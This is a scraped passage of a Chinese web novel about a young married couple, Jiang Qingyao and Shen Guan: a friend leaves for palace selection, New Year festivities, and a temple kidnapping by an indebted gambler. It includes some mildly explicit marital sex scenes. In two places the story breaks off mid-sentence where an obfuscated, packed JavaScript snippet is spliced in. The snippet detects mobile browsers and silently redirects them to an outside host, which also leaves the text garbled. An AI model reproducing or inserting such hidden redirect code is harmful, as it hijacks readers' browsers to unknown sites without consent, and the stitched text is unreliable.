“清杳,你了解我的,对吗?” 岳薇握住姜清杳的手,一双眼紧紧盯着她,似乎有些紧张。 姜清杳冷静下来,沉默一会儿,的确,她了解岳薇。 她是最不服输的性子,自小便桩桩件件都要求自己做到最好,因为是庶女,家里不重视,她便更严格要求自己,直到淑女名声盛起来,岳成济县尉才开始重视她。 岳薇要做人上人。她不愿意被岳成济县尉随意安排,只换取他自己的利益。 那入宫便是最好的选择。 半晌,姜清杳笑着回握她的手:“那你可一定要做最厉害的娘娘,到时候你传个旨,我就可以来京城进宫见你了。” 她没有问岳薇是如何做出这个决定的,也没有扫兴的去说以他们的家世背景,进宫没有助力,反而困难重重。 姜清杳明白,这些事岳薇一定都想的很清楚了。 岳薇破涕而笑,点点头:“好,一定会的。” 姜清杳问岳薇:“什么时候进京呢?” 秀女选秀,三月开春,但抚阳去京城路途要不少时候,到了京城,秀女们还有许多事宜,检查身体,筛选样貌,也时常有秀女到了京城,还被筛下来回家的情况。 岳薇说:“过完年便要走了。” 那还有一些时日,姜清杳记在心里,和岳薇告别后,回了府,她心里藏着事,想起沈观便是京城回来的 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沈观俊美,容貌也无暇,姜清杳凑的那么近,也找不到什么缺点,因此那个痘便格外碍眼点。 没有人会想要美玉有瑕。 姜清杳自己都没注意到自己的黛眉不自觉地微微蹙起。 沈观看在眼里,下意识的去摸她指的地方,垂眸,他岔开话题,不让姜清杳再关注。 修长指尖点点那本书。 “你不看了?” 姜清杳被他的声音唤的回过神,突然想起本来的正事:“对了,我有事要问你。” “沈观,你从前不是在京城吗?能不能同我说说,那里都时兴什么样式的首饰衣裙,与人相交都要注意些什么,可有什么忌讳吗?” 姜清杳小动作很多,说话的同时还在不消停的去弄那本书的边角,折的卷起来,皱巴巴的。 沈观看得忍不住皱眉,按住她的手,不让她将平整的书页弄皱。 一边回答她:“没什么忌讳。时兴什么女子衣裙首饰,我不曾注意。” 姜清杳将岳薇不日进宫选秀的事儿告诉他,沈观倒不意外,只是沉吟会儿,挑拣着和她说了些宫里不要犯的忌讳事儿,让姜清杳自己同岳薇转告。 姜清杳得了有用的信息,立刻就想去告诉岳薇,很高兴就抛下沈观跑开了。 晚膳姜清杳是邀岳薇一同在姜府用膳的,两个姑娘吃完饭还凑在一起说了许久的悄悄话,天色近晚,才各回各家。 姜清杳回来的时候,正撞上一个提着药箱离开的郎中。 不由得纳闷,问了句:“府上谁生病了?” 郎中见她打扮,便知这也是沈府的主子,便知无不言,但表情看上去很有些无言。 “是府上的沈公子,可能是最近天气不好,肝火盛,颊侧长了个红点,要我开些祛疤的药膏。” 郎中说的委婉。实则他沈公子的侍卫火急火燎的请过来时,还以为是什么事儿,急匆匆的提着药箱就来了。 到了地儿,就见一俊美少年,很是懊恼的看着脸颊侧一点不仔细看都看不清的红点点。 连痘都算不上,要郎中说,兴许是什么蚊虫叮了下也说不定,没准明日便消下去了。 哪儿就值得沈公子一副如临大敌的模样,生怕留下疤痕。 郎中收了钱,只好顺着说,出来的时候还和请他来又送他出府的那个冷脸侍卫说:“没什么大事,何苦这样急着催我来。” 冷脸侍卫看看他,虽然没什么表情,但也能看出一点同感。 不过他显然是知道内情的,解释道:“府上夫人比较喜欢公子的容貌。” 18. 第 18 章 原来是男为悦己者容。 郎中见过的病人不少,也没遇到过这种事,不由得既稀奇又好笑,笑着摇摇头离开了,出府正巧遇上姜清杳,便当笑事儿同她说了。 姜清杳听完,也忍俊不禁。 她发誓,她的本意绝不是嫌沈观长了痘痘就不好看了。 只是觉得这样漂亮的脸,不该有这些,看着碍眼。 芸香和半夏在一旁听了也捂嘴笑,半夏还上前又给了郎中几吊赏钱。 姜清杳回去时,沈观正照着镜子,见她回来,若无其事的过来,问她晚膳吃饱了吗? 姜清杳听过郎中的话,便格外注意观察沈观的反应。 那点红点在沈观的左侧脸颊。 沈观自她回来,便一直站在她的左侧,因此姜清杳只能看到他的右半边脸。 她觉得又好笑又可爱。 回他的话:“吃饱了。” 她又问他:“你吃过了吗?” 沈观哪儿有心思吃,她一走便让人去请了郎中,这会儿神色恹恹,但还是点点头,含糊的说吃过了。 姜清杳偷笑:“是吗?对了,我回来的时候碰上一个郎中,还以为谁生病了呢。” 沈观顿了顿:“是,小伍有些不舒服。” 小伍是沈观的那个冷脸侍卫的名字,姜清杳第一次知道时,觉得这样可爱的名字和那个人高面冷的侍卫格外违和,印象深刻。 沈观将这事儿推给小伍。 姜清杳实在忍不住笑了,拉住沈观的手,不许他眼神躲闪,神色狡黠道:“小伍知道他生病了吗?” 沈观见她这样,便知道定是那个郎中碎嘴多话,全告诉她了。 少年耳后有些红,别过脸去,还是不肯让姜清杳看他的左脸。 他瞧着是真伤心苦恼的。长睫垂着,恹恹不语。 不得不说,这样漂亮失落的模样谁看了都心软。 姜清杳便少了点逗他的心思,戳戳沈观,安慰他:“没事的,过几日便消了,我曾经长过一个这么大的痘,你瞧,就在这儿,现在是不是一点都看不出来了。” 姜清杳夸张的比了个拳头大的痘痘,指指自己左脸。 沈观:…… 他还是郁郁。 姜清杳就有点纳闷:“往常怎么不见你这么在意?就一点点,不仔细看根本看不出来。而且一点不影响,还是很好看的。” 她踮起脚尖,戳戳沈观的脸。 沈观闷声:“可是你不喜欢。” 她当时看见都蹙眉了,可见是觉得不好看的。 她觉得他漂亮俊美的时候,会下意识的放轻声音,也不抗拒沈观的靠近,有时候还会主动和他牵手。 他看着越来越失落。 姜清杳就干脆扯住他衣襟,大力拽着他压低身子,难得主动的亲了亲他左脸。 姜清杳叉腰,戳戳他下巴:“谁说我不喜欢了?不许不高兴了。” 沈观的脸慢慢红了,眼也亮起来,凑过来抱住姜清杳的纤腰,埋头在她白皙的颈间,去亲她。 “清杳。” 他亲了一会儿,姜清杳有些痒痒的,开始推他,不太愿意了。 沈观就问她:“清杳,我们试试吧。” 姜清杳懵了一瞬,茫然的看过去,对上他的眼神,立时便想起他提过的那事儿。 可以让他也狼狈一回。 姜清杳的脸也红了,沈观将那事儿描述的她有些意动,少女抿唇,确认问道:“真得我怎么样都行吗?” 沈观和她保证:“当然,你想让我什么时候出来都可以,你不想让我出来也可以。” “你若是想看我狼狈,就用指尖堵着那儿……” 他越说越详细。 姜清杳捂住他的嘴,红着脸点点头。 她想了想,犹豫一会儿,还是不放心:“我想用这个,绑着你的手。” 沈观在那事儿从不耐心。姜清杳不信他能乖乖的让她来,一点不反抗。 她拿着条青黛色的系带,锦缎料子。 沈观看看那系带,再看看姜清杳,顺从的把双手给她。 姜清杳小小声:“怎么开始?” 沈观仰头看她。耳根已经红透了,他不语,姜清杳便低头去看。就明白了。 哪需要她开始,这人只要是挨着她就没有安静的时候。 一开始很生疏,简单几下,沈观的反应就很强烈,姜清杳便按沈观说的,用指尖堵着那儿,少年漂亮的眉眼就皱起来,很难耐的样子,也有被堵着,憋出来的疼。 但他说到做到,真是姜清杳怎么样,都没有半句异议的。 沈观皮肤很白皙,脸上浮出红时,唇色也会更殷红,看起来好像抹了一层口脂,束着的发乱了,额间冒出的汗弄湿了发,眼尾泛红,在姜清杳的动作下,长睫甚至还沾着点泪花。 看着狼狈极了。 他瑞得厉害,实在受不了了。 用那张漂亮的脸,仰起来,好像在央求一样的唤:“清杳。” 姜清杳才松了手。 第二日,难得姜清杳醒来的时候,沈观还在睡。 姜清杳已经用过早膳以后,沈观才醒来,她让芸香把给他留好的早膳端过来,催着沈观吃完,又催着他换好衣服。 沈观有些不明所以,但还是按着姜清杳的指示做了。 他还记着昨晚,也记着上回说的话:“清杳,你气消了吗?” 姜清杳想起昨晚,红着脸点点头,和他拉勾,也说到做到:“嗯,这事儿不气你了,咱们抵消。” “快些换好衣服,外面下雪了!” 她兴奋的催他,时不时就往外张望。 沈观顺着她的目光,往外面去看,过几天就是除夕,一年里最冷的几天,抚阳下起了鹅毛大雪。 应该是半夜就下雪了。地上堆了厚厚一层的积雪,府里四处都一片白蒙,树上也挂着的水珠也结了冰。 沈观走路,稳稳当当,踩起雪来绵软,一步一个脚印,要是从后面看,这串脚印瞧着一点歪斜都没有。 姜清杳走路,走两步停三步,穿着双羊皮小靴子,用力的去跺雪,踩的噗呲作响,用脚印踩出一个圆来。 若不是芸香在后面提醒姜县令还在府上等着她们,姜清杳还玩的不亦乐乎。 到了姜府,姜县令惯例的问起沈观的文章。 姜清杳不耐烦听,拉着两个小丫鬟一起跑到门口堆雪人。 先滚一个大大的雪球。捏一个小雪团在手上,冻得手通红也不松开,找一片最厚的雪地,三个人一起将那点小雪团一点一点滚大。 最后稳稳当当的堆在厅堂的正对门。 里面谈话的两个人变得心不在焉,沈观时不时的便往外看。 姜清杳几人又推出了一个小一点的雪球,想将这个雪球给放在那个大雪球上。 正犯难呢。 姜县令瞥一眼心在魂不在的沈观,分明还在回答他最近做的那篇文章的问题,眼睛却一眨不眨的盯着姜清杳。 罢了。 姜县令也不问了,放沈观也去堆雪人。 沈观便过去,帮她们把那个雪球堆上去。 姜清杳见沈观来了,搓搓冻得通红的手,眼一转儿,指指远处:“咦,那是什么?” 沈观:…… 姜清杳眼神狡黠,那点心思都摆在脸上了。 但他还是顺着她指的方向看过去,配合:“什么?” 果然,没一会儿,一双冰冷的手就贴上沈观热乎乎暖烘烘的颈间。 身后姜清杳自觉得逞了,笑眯眯的。 沈观有准备,但还是被冰的一激灵。少年转过来,俯低身子,方便她暖手。 姜清杳被他识破,轻哼一声,收回手来,又去抓雪球,被沈观拉住,他给她捂手,说:“仔细冰手。” 姜县令唤人取了几副鹿皮手套来,这几人就又玩闹起来,互相丢雪球。 除夕的时候,姜清杳带着沈观陪姜县令在姜府守岁,住在姜清杳的院子里。 沈观是第一次来她的院子。往日来姜府,都没有留宿。 姜清杳领着他回院子,将厚披风脱下,换上家常的衣服,屋里还没暖和起来。 沈观有些不赞同的看她单薄的衣服,走去侧间的暖炉添炭。 姜清杳纳闷的问:“你是第一次来我院子吧,怎么觉得你做什么都挺熟门熟路呢?” 一般人家的暖炉都在里间或是正堂。 姜清杳格外怕冷,除了地龙,暖炉也多放了几个。就连侧间也添置了。 沈观竟好像一早便知道似的。 听到姜清杳问,沈观愣了愣,添炭的动作顿了下,不动声色道:“有吗?” 姜清杳打量他:“当然有。一般人家不在侧间添暖炉的。” 侧间大多是放杂物的,也不住人,自然不会添置。 沈观神色如常,添好炭,将炉盖合好:“这我倒不清楚,不过往常在京城住着的时候,侧间也会添炉。” “这样吗?” 姜清杳虽然还是奇怪,但她没去过京城,也不知道沈观是不是随口说的。 不过是无伤大雅的小事,姜清杳一时好奇,过了一会儿就不放在心上了。 快到守岁最后几盏茶的时候,大家都聚到厅堂去了。 侍女准备了许多瓜子花生还有点心。 姜清杳在玩翻花绳,沈观在一旁剥瓜子,盛了浅浅一小碟,就递给姜清杳吃一些。 烟花响起来的时候,大家都跑出去看。看过烟花,姜清杳收了姜县令的大红封守岁钱,姜清杳将之前央沈观刻的那枚玉牌送给了姜县令,顺便替沈观邀了句功。 “这是沈观帮我雕刻的。” 姜县令很喜欢,还特地赞了一句:“这样式别致,我就不喜欢那些寻常板正哪哪都对称的玉牌。” 沈观:…… 守过岁,大家便都回去睡觉了。 次日大年初一,早起的人便将整个姜府开始装点上红灯笼,贴红色的窗花。 姜清杳昨晚太兴奋了,一直到半夜,还不睡觉,拉着沈观聊天,从让沈观给她讲故事开始,再到拉着沈观问他书院有多少同窗,天南地北,完全搭不着边的事儿都聊。 果不其然第二天就睡懒觉了。 年初二初三的时候,姜清杳去给姜姒姑姑拜了年。街上的商贩也慢慢冒出头来了。 年初七的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959048|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,太襄州府来接抚阳去京城的秀女的马车来了。娄知府也来了。 虽然早看过名单,知道抚阳有个出挑的了,是县尉岳成济的女儿。 但娄知府不太满意,让夫人见过岳薇后,说是姿色不如姜县令独女,只算秀女之间中上之姿,不够出挑,还是庶女。 于是娄知府就还是记得姜县令那事儿,问起来时,姜县令只笑着说小女已经成亲了,娄知府再随意打听一下,便知道姜县令说的是实话,不由得作罢了心思。 有心人看在眼里。 也不知道是谁和娄知府说了小话。 前一日还只是可惜的娄知府,次日再见到姜县令便没了好脸色。 今天京城来接秀女的马车要启程了。 姜县令来作陪。 娄知府见了他,便对一旁早来陪着的县尉岳成济道:“成济啊,你在县尉这职位上做了多久?” 县尉岳成济意识到什么,有一丝欣喜,竭力抑制:“有十几年了。” 娄知府点点头:“那也是该迁迁职了,你平日都不错,也有不少拿的出手的政绩,将抚阳治理的不错,是个实诚的,比有些阳奉阴违的好多了,就差一个机会。” “若有机会,我会举荐你。” 娄知府话里有话,姜县令在一旁听得清清楚楚,眼观鼻鼻观心,默默的没搭话。 那边两人相谈甚欢。 等送走了娄知府和秀女的马车,县尉岳成济看了一眼姜县令。 假模假样:“方才你别放在心上,娄知府也就是说说。” 姜县令没什么表情。 他这么多年也不是白干的,也了然岳成济不甘人下的心思。 自然也知道了向娄知府告知姜清杳婚事之间关窍的人是岳成济安排的。 只是,姜县令对内对外都打点的仔仔细细,连民间都找人散了说法去,和沈府也是商量好的对外说辞。 岳成济能知道这事。 不知道是从谁口中得知的。 许是看出姜县令的疑惑。 县尉岳成济接着便说:“这事儿我女儿岳薇曾同我说过,当时我还道她胡言,今日听了娄知府的话,才知道竟不是空穴来风。老姜,你真是糊涂啊。” 这个回答让姜县令脸沉了沉。 他没说什么离开,但这事儿后两人连一直只是维持表面友好的关系也没了。 岳薇离开抚阳,去京城的时候,姜清杳去送了她。 两个姑娘依依不舍,抱着哭了一场,才彼此承诺着京城见,舍不得极了。 因此姜县令和她说这事儿的时候,姜清杳虽吃惊,但还是坚持道:“岳薇肯定有她自己的理由,说不定不是她说的,是岳县尉或偷听了。” 姜县令没评价,他只将这事转述给她,怎么交朋友,他相信姜清杳自己心里有杆天平。 转眼过了年关了。抚阳也恢复了往常的热闹,街上卖小吃,挑着货箱四处走的货郎也挑着四处叫卖。 姜清杳开始迷上让沈观从书院回来时给她带零嘴吃。 沈观回来的时候,还不到用晚膳的点,姜清杳不算饿,但又想吃点零嘴解馋。 她吃厌了府里的那些样式,总想吃些街上小贩卖的吃食。 芸香和半夏十次里有八次不同意去帮她上街买零嘴。 姜清杳尝试无果,便将希望寄在沈观身上。 少女睁着那双琉璃一样清透的眼,双手合十,脑袋还蹭蹭他的软声央求。 沈观想,任谁也拒绝不了这样的姜清杳。 沈观只好问:“还是上次那家铺子的吗?” 姜清杳最近爱吃蜜饯,尤爱吃酸梅子。 连着让沈观买了好几次。 今天沈观惯例问她时,姜清杳摇摇头,说今天不要他带零嘴了。 她下午有约,自己会上街去买。 沈观正准备离开的脚步顿住,登时侧眸,问她:“和谁有约?” 她的好友岳薇已经去京城了。沈观回想这些年姜清杳除了岳薇以外的好友,都是寻常往来,不甚交心,更不会相约着出去玩了。 至多是遇上宴会能多攀谈两句。 沈观快速在心里过了一遍姜清杳那些好友,确认姜清杳应当是不太可能和这些人有约。 他等着姜清杳回答,姜清杳却催他快去书院。 姜清杳不愿意说。还推他走。 沈观就说:“你独自出门,我不放心。” 姜清杳有些恼了:“芸香和半夏会跟着的。” 她不怎么喜欢沈观刨根问底的性子,其实今日只是要和姜姒姑姑去郊外寺庙上香。 但沈观总是这样,不管大事小事,他好像都要把姜清杳的一举一动掌握着才放心。 姜清杳隐隐觉得这是不正常的。 因此沈观追问,她不由得有些脾气,就是不愿顺了他的意,让他完全知道自己干了什么,做了什么。 姜清杳和他对着干。 沈观一向对她的情绪感知很敏锐,自然察觉出来,沉默会儿,点头应好,没再追问。 明明是如她的意没再问了,姜清杳心里也觉不出太高兴。 和姜姒姑姑去寺庙的路上也有些心不在焉的。 19. 第 19 章 姜府在寺庙里替已逝的姜夫人供了盏长明灯,姜清杳每隔一段时间便会来庙里拜拜,上些香火钱。 上过香后,按以往的惯例,姜清杳会和姜姒姑姑一同在庙里用过斋饭再离开。 寺庙里的斋饭都是素菜豆腐,用菜油炒,但格外好吃。 往日才到巳时,寺庙的大厨房里便会有菜香和饭香往外飘,有时候上完香准备走的香客闻到,也会忍不住留下吃过斋饭再走。 姜清杳惦记着这一口,今天却有些奇怪的往厨房方向张望,没见那儿有一点动静和飘出来一点菜香。 上完香以后,姜姒姑姑求了支签,准备让寺庙里的小和尚带她去找住持解签。 左看右看,今日寺庙里的和尚似乎格外少。 好不容易路上拦了个小和尚,小和尚还一脸为难:“施主,若要解签,恐怕要久等一会儿,住持这会儿正忙着呢。” 姜清杳见今日寺庙处处不同寻常,不由得好奇问:“可是发生了什么事?看大家都行色匆匆的样子。” 小和尚面色愁苦:“寺里功德箱的钱被小贼偷了。还没抓到人呢。” 这话一出,姜清杳和姜姒姑姑都一脸惊讶。 姜姒姑姑问:“怎么会被偷了。功德箱不都有人看着,好好上着锁吗?” 小和尚一脸愤愤:“那小贼会撬锁,再加上往日功德箱都放在那儿,从没出过事儿,更没少过一分一文的,看管功德箱的师父就不是常在的,有时候还会带香客去解签,哪里知道就让这小贼钻了空子呢。” “不止这样,今日来寺庙上香的香客也有丢了贵重东西的。” “我还要去帮忙,两位施主也小心些,看好自己的东西。解签且去后厢房等会,住持稍晚些就来。” 小和尚说完,也刻不容缓的走了。 姜姒姑姑拉着姜清杳往后厢房去,一边说:“这年头什么稀奇事儿都有,连贼都敢来偷功德了。” 姜清杳深有同感,摸摸肚子,早晨她烦沈观的事事过问,和他怄气,连早膳都没吃多少,这会儿肚子正饿着了。 她眼巴巴看了一眼厨房的方向,心想今日这顿斋饭也不知道能不能吃成。 住持很快回来了,遣了一个小和尚来后厢房唤姜姒姑姑去解签。 因着寺庙里还有贼没捉到,姜姒姑姑走的时候格外不放心,叮嘱姜清杳不要乱走,就待在厢房里等她回来。 “有时人缺钱,别论是为什么。逼急了眼,不止是偷,其它什么都干的出来。” 姜清杳乖乖点头。她深有体会。左右拜过香后,寺庙里除了用斋饭,也没旁的可以吸引住她了。 姜姒姑姑离开后,姜清杳便待在厢房里,百般无聊的翻着本经书,一边等姑姑回来。 没多会儿,她便感觉有些困,额角也突突的疼。这困意来的太快,姜清杳都没来得及反应,便一头栽在桌上。 然后不知道过了多久。 姜清杳再睁眼的时候,眼前已经换了场景,入目是寺庙的后山,周围空无一人。 她试图发出声音,可喉间一阵疼涩。 说不了话。 姜清杳下意识的有些慌神,那阵困意来得突然,她晕倒前便心生不妙的预感,比起困意,更像是被人下了迷香。 她手腕处传来一阵疼意。 姜清杳低头看过去,不知道被谁用粗糙的麻绳紧紧捆着了。 她环顾四周,试图挣脱,未果。便挪蹭着靠到一棵树后,用背蹭着大树勉强站起身来。 绑她来的人不见踪影,但姜清杳联想到小和尚的话,便猜和那个偷功德箱的小贼脱不了干系。 而姜清杳的衣着打扮,也的确容易成为一个缺钱缺疯了的人的下手目标。 姜清杳晃晃脑袋,果然没有听见发髻上那支宝石步摇的流苏响声。 身上值钱的首饰应当都被拿走了。 只是对方图财,为什么还要把她绑到后山来。 姜清杳抿唇,她身上连尖锐点的发簪都被取走了,若要自救,什么手段都没有,好在她常来这个寺庙,后山也很熟悉。 姜姒姑姑知道她不见,应该也很快会来寻。 她正沉思,身后传来脚步声,姜清杳立刻回头,却见是一个年轻男人。 长相很青涩,年纪不大,书生模样,瞧着像是衡阳书院的学生,但眉眼很有些灰败之意。 姜清杳警惕的打量他。 那人似乎没想到姜清杳这么快便醒了,脸色一变,想去挡脸也来不及了。 姜清杳已经猜出他是谁了。 住在长潞巷尾的叶香椿之子,叶杭。 当时年轻妇人叶香椿丢了束脩,最后查出来是叶杭所为,让姜清杳大大惊讶一番。 追问姜县令才得知,是因为妇人叶香椿有个喜好,会在布上绣两片竹叶。那个装束脩的绣了竹叶的钱袋,最后在一个赌场发现。 一问才知,那点银两都被叶杭偷拿去,请了同窗下馆子,还去了赌场试了几把,便输完了。 姜清杳认出他来。 心里便猜出大概了,再看叶杭一副输红了眼,藏不住暴戾的模样。 不由得想,绝望的赌徒,沾上便戒不掉。 叶杭本只是想拿姜清杳作人质找沈观换钱的。 他知道姜清杳是姜县令之女,他不想把事情闹大,他也知道同窗沈观很有些银钱。 可对方无意间撞见过一次他进赌场,便对他的刻意接近敬谢不敏。 一刻钟前,他已经找了个小孩去给沈观送信,等着他拿一千两银子来换姜清杳。他原本打算收到银票,便告诉沈观姜清杳的位置。 可是他没料到的是,自己被醒来的姜清杳看到了脸。若是放她回去,不止沈观会知道是他,连姜县令也不会放过他。 他会被治罪关进地牢。 叶杭想着,逐渐目露凶光。 姜清杳察觉到,踉跄着往后退,但她脚踝上也是打了死结的麻绳,没有两步便摔倒在地上,草泥沾了一身,狼狈极了。 一阵头晕目眩,有人扶起她,焦急的问她:“清杳,清杳。” 沈观不停的晃她,姜清杳本来只是有些晕,被他晃的头都疼了,喉咙又痛的说不出话来阻止他,索性便用脑袋莽撞的去顶他的下巴。 她撞得突然,又大力。 沈观没防备,疼得轻嘶一声,但好歹停下了晃她的动作,他上下打量她,见她眼神清明,只是脸 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他说到一半,顿了顿,生硬的转开话题:“是不是很疼,手腕涂好了,还有脚踝。” 沈观低着眼,不敢看姜清杳,好像在祈祷姜清杳不要察觉到他话里的漏洞。 他心里惦记着事,手上便显得手忙脚乱的,要去拿药膏,转而抓了张药方。 丢开手后,连忙蹲下身去,将姜清杳鞋袜小心翼翼的褪去,抹了点药膏在手上,揉匀后给姜清杳莹润的脚踝抹上。 猝不及防间,姜清杳抬起小腿,踢了踢沈观。 沈观低着头。 姜清杳又踢了踢。 沈观替她足尖也染了丹蔻,因此白嫩的肌肤上映着点点红,看着格外漂亮,如果忽略她踢他时动作里带着的一点恼意就更好了。 姜清杳踢了两次,沈观便忍不住了,他按着她小腿:“仔细脚踝上的伤。” 他总算和姜清杳对视,姜清杳漂亮的眼儿嗔怒的看着他,仿佛在说,就是要踢你这个撒谎的臭沈观。 姜清杳踩他。 指尖在沈观额上写字,一笔一划:“你让人跟踪我。” 沈观浑身僵着,肉眼可见的心虚,想了半天,焉了似的,没敢狡辩。 那便是承认了。 姜清杳便更生气了。这人嘴上说的好好的,没再问她的行踪了,转头便让他的侍卫跟着她。 便是因此凑巧救了她,也抵不掉这人说一套做一套。 臭沈观。 姜清杳又在他额间写。 她在骂他,可沈观觉得额间那点痒,那点少女的怒,都抵不过姜清杳踩着他的足尖更让他难受。 沈观看似诚恳的认错,实则握着姜清杳脚踝的手半点不安分,直到姜清杳足尖被烫到似的想要收回去。 少年微微扬起头,露出额间,让姜清杳用指尖写字骂他。 他脸红着,耳红着,呼吸急促起来,握着姜清杳的脚踝,央她:“清杳,重一点。” 姜清杳挣不开,气得眼睫都湿漉漉的,一笔一划格外用力,如他所愿的重一点。 在少年额间写: 沈观,你真有病! 20. 第 20 章 过了好一会儿,香炉袅袅,原本的淡香中添了点麝香气。 姜清杳被沈观气的牙痒痒,奈何这人明明端着认错的态度,被她打骂却都一副不痛不痒,甚至藏不住眉眼间兴奋的样子。 真讨厌。 姜清杳别过脸,不想理他了。 沈观就凑过来,讨好的说:“清杳,再不会了。” 姜清杳会信就有鬼。这人在这种事上是言而无信的典范。 她喉间疼的说不了话,但眼神明摆出了意思。 沈观摸摸鼻子。 半晌,少年有些苦恼道:“清杳,对不起。我不知道你在哪儿,不知道你在干什么,这里就总想你,做什么都专心不了。” 他拉着姜清杳的手,贴在他心口上,手心下是少年跳动的心脏,强劲有力。 低眼,对视,是少年自己也几分茫然的眼神。 姜清杳盯着他看了一会儿,也不知道想到什么,半晌,指尖点点他额头。 沈观顺从的仰起脸来。 姜清杳写:“喉咙疼,去给我煎药。” 这便是暂时揭过了这事,不同他生气了。 “我现在就去。”沈观眼亮起来,立刻便站起身来,拿着药就要去小厨房煎药。 等等!!! 姜清杳脸颊绯红,喊又喊不出来,这人个高腿长,走路惯来没几步就走二里地的架势。姜清杳拽他衣袖都来不及,沈观就快走出屋门了。 少女赤着足,小跑过来,从后拥住他。 沈观转过身来。 第一反应不是问姜清杳怎么了,是不是有什么事,而是回身也紧紧拥抱住她。 “清杳。” 姜清杳耳后发烫,推开他,指指他方才脏了的衣袍。 颇有些恼的在他手心写:“换掉!” 他方才是打算就穿着这身脏了的衣袍出去吗,那谁都知道她们在屋里做了什么了。 他不要脸,姜清杳还要呢。 沈观换过衣服,煎了药给姜清杳服下。 药很苦,咽下去的时候喉咙更是火辣辣的疼,姜清杳黛眉蹙得紧紧的,几口喝下后,硬塞了几个酸梅子才好些。 服过药,姜清杳休息了一会儿,衙门派了人来请姜清杳去做证词。 叶杭被扭送到衙门,从身上搜出了姜清杳的首饰,还要大量功德箱里的银钱,再加上寺庙僧人的指认,很快被定了盗窃罪。 等姜清杳到的时候,衙门门口有一个妇人正哭喊着想要冲进去,却被几个捕快拦住。 回头见了姜清杳,叶香椿又想往姜清杳这里冲,沈观皱眉,将姜清杳护在身后,冷脸侍卫拦住妇人,不让她上前。 叶香椿认得姜清杳,见到她,登时便跪了下来,哭着求姜清杳:“姜小姐,我儿叶杭一时糊涂,断没有伤人害命的心思,他一时被赌场迷了眼,缺钱被打手逼着说要断了他的右手,他是个读书人,岂能没有右手写字,这才出此下策,图谋上了您的钱财。” 大庆朝律例,若是绑架人质,用恐吓方式谋取钱财的罪,依律按照勒索财物的多少,比照着盗窃罪加重一等论处,甚至最重可以处以死刑。[1] 叶杭已经定了盗窃罪,按律要服役三十天。若是再定下绑架罪,甚至还勒索了一千两银票,更是罪加一等,一场牢狱之灾必然免不了了,更别提三月下场考试。 叶香椿此话,是在求姜清杳不要认下叶杭的绑架之举。 沈观冷着脸:“令郎以吾妻性命要挟索取财物的字条还在我这儿,人证物证皆有,叶夫人还是打消这个念头吧。” 说罢,便再不看叶香椿一眼,任妇人在身后哭喊。 姜清杳做了证词,叶杭的两项罪名便都定下来了,当即便押解至大牢。 一场事故了,众人都劳神心疲,姜姒姑姑看过姜清杳,知道她没有什么大碍后才离开。 姜县令心疼女儿,晚膳也命人都做了清淡菜色,姜清杳吃不下,简单用了点便放了筷。 姜县令看在眼里,也知道她不舒服,没有说什么,转而提了另一件事。 “你身边一直只有半夏和芸香两个丫鬟,往常说要给你配个侍卫在身边,你总嫌麻烦不要,爹都依了你,今日出了这事,不能再由着你了。” 姜县令都这样说了,姜清杳也只好点头应下来。 姜县令再看一眼沈观,见他没有异议也有些赞成这决定,姜县令接着道:“爹已经物色好了几个人选,过几日让他们去一趟,你选一两个留在身边随侍,这样出门我也放心。” 用过晚膳,回了沈府。 芸香和半夏打了水来给姜清杳擦拭身子,她身上有伤,沾不得水,两人就格外小心些,等都洗漱好后,沈观煎了一帖安神药给姜清杳服下。 她今日明显受了惊,方才在姜府,不愿让姜县令担心,强打起的精神,一出了门,神色便恹恹,有些困倦伤神。 喝过安神药,姜清杳就睡下了。 到半夜,天还漆黑着,沈观转醒,侧眸看向身边被噩梦困住,呢喃的少女。 姜清杳闭着眼,眉头紧皱,一只手紧紧攥着锦被,一只手半举着,抱着头,呈抵御姿态,眼角有泪珠流下。 她嘴里还在呢喃。 沈观凑近些去听,待听清她说的是什么时,眸色渐深,眼神复杂的,长久凝视着她。 沈观握着她的手,低而轻缓的重复:“清杳,我在。清杳。”他将她搂在怀里,手心顺着她的后背反复的安抚,轻拍。 “清杳,没有人能伤害你了。” 直到怀里的少女不再发抖,像是寻到温暖的火源,姜清杳不停地往沈观怀里拱,毛绒绒的碎发蹭着沈观的下巴。 姜清杳半梦半醒间睁开眼,看清抱着她的人时,不由得怔怔:“沈观……” 抱着她的是沈观。 姜清杳意识到这一点的同时,缠绕着她的梦魇便是虚假的、过去的、不复存在的。 可她又想,沈观是真的吗? 他是否只是一个梦? 等梦醒了,她又会回归现实,陷入她刻意遗忘的“梦魇”呢。 姜清杳希望眼前的沈观是真的。 她小心翼翼的去碰少年的脸颊,直到指尖感受到他肌肤的温热。 姜清杳又去拽沈观的衣襟,拽得少年微微低头时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975686|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她凑过去亲了亲他的唇瓣,柔软冷润,是真实存在的沈观。 她突然来亲他。 沈观的呼吸都停滞了一霎,少年将头更低,方便姜清杳动作,她吻的太轻,太柔,沈观的心跳声已经大得如擂鼓了,姜清杳还在蜻蜓点水。 他忍了又忍,最后还是没忍住,掐住她的纤腰,将少女提至自己身上/.跨坐着。 沈观压着姜清杳的背,大手圈着姜清杳的手腕在腰后,迫使她完全敞开胸襟来和他贴着,他的心贴着她的。 他吻她,强势、不容反抗,和她唇舌勾缠,交换气息。 一吻绵长。 